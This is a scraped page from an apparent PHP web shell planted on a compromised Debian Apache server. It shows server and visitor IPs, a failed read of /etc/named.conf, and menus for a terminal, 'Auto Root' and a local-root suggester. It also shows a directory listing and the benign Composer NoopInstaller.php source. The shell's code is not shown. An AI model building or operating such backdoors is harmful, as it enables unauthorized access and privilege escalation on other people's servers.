Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.119
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
php /
Composer /
Installer /
Delete
Unzip
Name
Size
Permission
Date
Action
BinaryInstaller.php
7.05
KB
-rw-r--r--
2016-11-03 17:43
BinaryPresenceInterface.php
731
B
-rw-r--r--
2016-11-03 17:43
InstallationManager.php
10.52
KB
-rw-r--r--
2016-11-03 17:43
InstallerEvent.php
3.14
KB
-rw-r--r--
2016-11-03 17:43
InstallerEvents.php
1.01
KB
-rw-r--r--
2016-11-03 17:43
InstallerInterface.php
2.4
KB
-rw-r--r--
2016-11-03 17:43
LibraryInstaller.php
7.16
KB
-rw-r--r--
2016-11-03 17:43
MetapackageInstaller.php
1.87
KB
-rw-r--r--
2016-11-03 17:43
NoopInstaller.php
2.11
KB
-rw-r--r--
2016-11-03 17:43
PackageEvent.php
1.83
KB
-rw-r--r--
2016-11-03 17:43
PackageEvents.php
1.96
KB
-rw-r--r--
2016-11-03 17:43
PearBinaryInstaller.php
4.81
KB
-rw-r--r--
2016-11-03 17:43
PearInstaller.php
2.8
KB
-rw-r--r--
2016-11-03 17:43
PluginInstaller.php
2.55
KB
-rw-r--r--
2016-11-03 17:43
ProjectInstaller.php
2.55
KB
-rw-r--r--
2016-11-03 17:43
SuggestedPackagesReporter.php
3.32
KB
-rw-r--r--
2016-11-03 17:43
Save
Rename
<?php /* * This file is part of Composer. * * (c) Nils Adermann <naderman@naderman.de> * Jordi Boggiano <j.boggiano@seld.be> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Composer\Installer; use Composer\Repository\InstalledRepositoryInterface; use Composer\Package\PackageInterface; /** * Does not install anything but marks packages installed in the repo * * Useful for dry runs * * @author Jordi Boggiano <j.boggiano@seld.be> */ class NoopInstaller implements InstallerInterface { /** * {@inheritDoc} */ public function supports($packageType) { return true; } /** * {@inheritDoc} */ public function isInstalled(InstalledRepositoryInterface $repo, PackageInterface $package) { return $repo->hasPackage($package); } /** * {@inheritDoc} */ public function install(InstalledRepositoryInterface $repo, PackageInterface $package) { if (!$repo->hasPackage($package)) { $repo->addPackage(clone $package); } } /** * {@inheritDoc} */ public function update(InstalledRepositoryInterface $repo, PackageInterface $initial, PackageInterface $target) { if (!$repo->hasPackage($initial)) { throw new \InvalidArgumentException('Package is not installed: '.$initial); } $repo->removePackage($initial); if (!$repo->hasPackage($target)) { $repo->addPackage(clone $target); } } /** * {@inheritDoc} */ public function uninstall(InstalledRepositoryInterface $repo, PackageInterface $package) { if (!$repo->hasPackage($package)) { throw new \InvalidArgumentException('Package is not installed: '.$package); } $repo->removePackage($package); } /** * {@inheritDoc} */ public function getInstallPath(PackageInterface $package) { $targetDir = $package->getTargetDir(); return $package->getPrettyName() . ($targetDir ? '/'.$targetDir : ''); } }